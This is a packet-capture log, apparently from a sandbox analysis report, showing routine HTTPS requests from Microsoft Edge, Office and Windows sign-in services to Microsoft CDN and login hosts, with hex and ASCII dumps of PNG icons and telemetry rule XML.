2024-10-28 17:43:35 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	63571	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:36 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:36 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 9f1a785b-f01e-0050-1060-29770f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-r197bdfb6b46kdskt78qagqq1c00000005dg00000000bakv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	63578	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 18d6d76d-f01e-0052-73f2-249224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-15b8d89586fmhkw429ba5n22m800000006rg0000000071e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	63570	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-28 17:43:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:36 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30389.5 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C554_BL2 x-ms-request-id: b3be788a-39a4-45a5-9ea9-c5b326427119 PPServer: PPV: 30 H: BL02EPF00027B5C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:35 GMT Connection: close Content-Length: 11392
2024-10-28 17:43:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	63576	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-16849878b78xblwksrnkakc08w00000004n000000000a45x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	63575	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-16849878b78hh85qc40uyr8sc800000005qg000000004tev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	63577	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174336Z-16849878b786fl7gm2qg4r5y7000000005r0000000002twr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	63574	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 42e95d53-401e-0047-28da-268597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174336Z-r197bdfb6b4grkz4xgvkar0zcs00000004xg000000008hn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	63579	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:36 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:36 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 155b9113-f01e-0072-1c90-281939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174336Z-16849878b78fkwcjkpn19c5dsn00000004ag00000000fexw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:36 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	63587	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174337Z-16849878b786jv8w2kpaf5zkqs0000000480000000009qn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	63586	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:38 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174337Z-16849878b7867ttgfbpnfxt44s000000053g00000000sb89 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	63583	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
